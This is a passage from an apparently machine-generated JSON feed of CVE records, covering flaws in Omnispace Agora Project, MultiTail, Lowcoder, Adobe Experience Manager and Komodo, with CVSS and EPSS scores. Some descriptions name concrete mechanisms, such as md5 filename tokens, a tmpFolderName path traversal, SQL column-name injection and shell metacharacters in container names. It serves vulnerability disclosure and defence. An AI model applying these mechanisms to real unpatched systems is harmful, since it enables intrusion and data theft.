that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63165&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63165, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63163","cveId":"CVE-2026-63163","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in the MobileFileDownload route that allows unauthenticated attackers to download arbitrary...","summary":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in the MobileFileDownload route that allows unauthenticated attackers to download arbitrary files by computing an md5(filename) token instead of passing a proper authorization check. Attackers can guess or determine file names to generate the corresponding md5 token and retrieve protected files without authorization, leading to unauthorized information disclosure.","detail":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in the MobileFileDownload route that allows unauthenticated attackers to download arbitrary files by computing an md5(filename) token instead of passing a proper authorization check. Attackers can guess or determine file names to generate the corresponding md5 token and retrieve protected files without authorization, leading to unauthorized information disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:31.817Z","updatedAt":"2026-10-15T15:52:40.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63163","asOf":"2026-10-15T15:52:40.503Z"},"epss":{"probability":0.00359,"percentile":0.29332,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63163","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63163","type":"primary","publishedAt":"2026-10-13T20:17:31.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63162","cveId":"CVE-2026-63162","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a path traversal vulnerability that allows attackers to write arbitrary files outside the intended temporary directory by supplying...","summary":"Omnispace Agora Project before 26.10.0 contains a path traversal vulnerability that allows attackers to write arbitrary files outside the intended temporary directory by supplying an unanchored tmpFolderName value in the upload destination path. Attackers can exploit this flaw, for example by setting tmpFolderName to a traversal sequence targeting the web root, to write attacker-controlled files and achieve remote code execution.","detail":"Omnispace Agora Project before 26.10.0 contains a path traversal vulnerability that allows attackers to write arbitrary files outside the intended temporary directory by supplying an unanchored tmpFolderName value in the upload destination path. Attackers can exploit this flaw, for example by setting tmpFolderName to a traversal sequence targeting the web root, to write attacker-controlled files and achieve remote code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:31.687Z","updatedAt":"2026-10-15T15:52:40.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63162","asOf":"2026-10-15T15:52:40.503Z"},"epss":{"probability":0.00711,"percentile":0.53296,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63162&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63162","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63162","type":"primary","publishedAt":"2026-10-13T20:17:31.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63162&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63162, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63161","cveId":"CVE-2026-63161","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a session fixation vulnerability that allows remote attackers to hijack authenticated sessions by planting a known session...","summary":"Omnispace Agora Project before 26.10.0 contains a session fixation vulnerability that allows remote attackers to hijack authenticated sessions by planting a known session identifier in a victim's browser prior to login. Attackers can exploit the application's failure to regenerate the session id upon successful authentication to gain unauthorized access to the victim's authenticated session after they log in.","detail":"Omnispace Agora Project before 26.10.0 contains a session fixation vulnerability that allows remote attackers to hijack authenticated sessions by planting a known session identifier in a victim's browser prior to login. Attackers can exploit the application's failure to regenerate the session id upon successful authentication to gain unauthorized access to the victim's authenticated session after they log in.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:31.550Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63161","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00379,"percentile":0.31639,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63161","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63161","type":"primary","publishedAt":"2026-10-13T20:17:31.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63154","cveId":"CVE-2026-63154","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a SQL identifier injection vulnerability that allows a space administrator to escalate privileges by supplying caller-controlled...","summary":"Omnispace Agora Project before 26.10.0 contains a SQL identifier injection vulnerability that allows a space administrator to escalate privileges by supplying caller-controlled agoraFields[] names as unvalidated SQL column identifiers during the user import flow. Attackers can inject privileged column names such as generalAdmin or use backtick-injection techniques to set administrative flags and escalate to general administrator privileges.","detail":"Omnispace Agora Project before 26.10.0 contains a SQL identifier injection vulnerability that allows a space administrator to escalate privileges by supplying caller-controlled agoraFields[] names as unvalidated SQL column identifiers during the user import flow. Attackers can inject privileged column names such as generalAdmin or use backtick-injection techniques to set administrative flags and escalate to general administrator privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:31.010Z","updatedAt":"2026-10-15T15:12:54.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63154","asOf":"2026-10-15T15:12:54.040Z"},"epss":{"probability":0.00433,"percentile":0.37359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63154&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63154","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63154","type":"primary","publishedAt":"2026-10-13T20:17:31.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63154&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63154, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63153","cveId":"CVE-2026-63153","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in setAffectations() that allows authenticated attackers to insert access-right records for a...","summary":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in setAffectations() that allows authenticated attackers to insert access-right records for a caller-supplied target space without verifying the caller has rights to that space. Attackers can assign access affectations to spaces outside their own reach, breaking tenant isolation and granting unauthorized access to restricted spaces.","detail":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in setAffectations() that allows authenticated attackers to insert access-right records for a caller-supplied target space without verifying the caller has rights to that space. Attackers can assign access affectations to spaces outside their own reach, breaking tenant isolation and granting unauthorized access to restricted spaces.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:30.880Z","updatedAt":"2026-10-15T15:52:40.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63153","asOf":"2026-10-15T15:52:40.503Z"},"epss":{"probability":0.00294,"percentile":0.21845,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63153","type":"primary","publishedAt":"2026-10-13T20:17:30.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63152","cveId":"CVE-2026-63152","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a second-order SQL injection vulnerability that allows authenticated attackers to inject malicious SQL via the _idCategoryFilter...","summary":"Omnispace Agora Project before 26.10.0 contains a second-order SQL injection vulnerability that allows authenticated attackers to inject malicious SQL via the _idCategoryFilter parameter, which is persisted into the session and later concatenated into a SQL statement without parameterization. Attackers can store a malicious payload that executes when the filter is subsequently applied in app/Common/MdlCategory.php, leading to unauthorized database access or manipulation.","detail":"Omnispace Agora Project before 26.10.0 contains a second-order SQL injection vulnerability that allows authenticated attackers to inject malicious SQL via the _idCategoryFilter parameter, which is persisted into the session and later concatenated into a SQL statement without parameterization. Attackers can store a malicious payload that executes when the filter is subsequently applied in app/Common/MdlCategory.php, leading to unauthorized database access or manipulation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:30.750Z","updatedAt":"2026-10-17T02:17:20.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63152","asOf":"2026-10-17T02:17:20.270Z"},"epss":{"probability":0.00305,"percentile":0.23105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63152&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63152","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63152","type":"primary","publishedAt":"2026-10-13T20:17:30.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63152&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63152, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55601","cveId":"CVE-2026-55601","aliases":[],"kind":"vulnerability","title":"MultiTail is a utility for monitoring multiple log files in one terminal.","summary":"MultiTail is a utility for monitoring multiple log files in one terminal. In version 7.1.5 and earlier, the -ex and -eX execute-on-match feature appended attacker-controlled matched input to a configured command inside double quotes, then check_filter_exec() in mt.c passed the constructed command through execute_program() in exec.c to sh -c. Partial escaping left shell metacharacters such as command substitution active, allowing an attacker who could influence monitored input to execute commands as the user running MultiTail. No fixed release is available as of this review.","detail":"MultiTail is a utility for monitoring multiple log files in one terminal. In version 7.1.5 and earlier, the -ex and -eX execute-on-match feature appended attacker-controlled matched input to a configured command inside double quotes, then check_filter_exec() in mt.c passed the constructed command through execute_program() in exec.c to sh -c. Partial escaping left shell metacharacters such as command substitution active, allowing an attacker who could influence monitored input to execute commands as the user running MultiTail. No fixed release is available as of this review.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:29.477Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55601","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00214,"percentile":0.11578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55601&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55601","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55601","type":"primary","publishedAt":"2026-10-13T20:17:29.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55601&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55601, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16753","cveId":"CVE-2026-16753","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in the library-query execution endpoint in Lowcoder version, up to and including 2.4.10, allows an authenticated administrator or developer in one...","summary":"Incorrect authorization in the library-query execution endpoint in Lowcoder version, up to and including 2.4.10, allows an authenticated administrator or developer in one organization to execute a library query belonging to another organization via a crafted request containing the victim library-query identifier.","detail":"Incorrect authorization in the library-query execution endpoint in Lowcoder version, up to and including 2.4.10, allows an authenticated administrator or developer in one organization to execute a library query belonging to another organization via a crafted request containing the victim library-query identifier.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:28.630Z","updatedAt":"2026-10-20T17:17:38.727Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16753","asOf":"2026-10-20T17:17:38.727Z"},"epss":{"probability":0.00457,"percentile":0.39387,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16753&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16753","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16753","type":"primary","publishedAt":"2026-10-13T20:17:28.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16753&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16753, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110084","cveId":"CVE-2026-110084","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an XML Injection (aka Blind XPath Injection) vulnerability that could result in a Security feature bypass.","summary":"Adobe Experience Manager is affected by an XML Injection (aka Blind XPath Injection) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction.","detail":"Adobe Experience Manager is affected by an XML Injection (aka Blind XPath Injection) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:27.217Z","updatedAt":"2026-10-14T17:18:23.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110084","asOf":"2026-10-14T17:18:23.723Z"},"epss":{"probability":0.00467,"percentile":0.40137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110084&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110084","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110084","type":"primary","publishedAt":"2026-10-13T20:17:27.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110084&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110084, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110083","cveId":"CVE-2026-110083","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security...","summary":"Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction.","detail":"Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:27.090Z","updatedAt":"2026-10-17T02:17:17.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110083","asOf":"2026-10-17T02:17:17.947Z"},"epss":{"probability":0.00345,"percentile":0.27838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110083&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110083","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110083","type":"primary","publishedAt":"2026-10-13T20:17:27.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110083&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110083, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110005","cveId":"CVE-2026-110005","aliases":[],"kind":"vulnerability","title":"The `periphery` agent's container-management functionality of Komodo version 2.2.0 contains an OS command injection vulnerability.","summary":"The `periphery` agent's container-management functionality of Komodo version 2.2.0 contains an OS command injection vulnerability. An authenticated low-privileged user with `Execute`, or `Read` plus `Logs`, permission on a managed server can supply shell metacharacters in a container name processed by the `DestroyContainer` or `SearchContainerLog` operations. The container name is interpolated without escaping into a command executed using `sh -c`, allowing arbitrary commands to execute as root on the managed host. This permits a user without Komodo's `Terminal` permission to obtain unrestricted host-level command execution.","detail":"The `periphery` agent's container-management functionality of Komodo version 2.2.0 contains an OS command injection vulnerability. An authenticated low-privileged user with `Execute`, or `Read` plus `Logs`, permission on a managed server can supply shell metacharacters in a container name processed by the `DestroyContainer` or `SearchContainerLog` operations. The container name is interpolated without escaping into a command executed using `sh -c`, allowing arbitrary commands to execute as root on the managed host. This permits a user without Komodo's `Terminal` permission to obtain 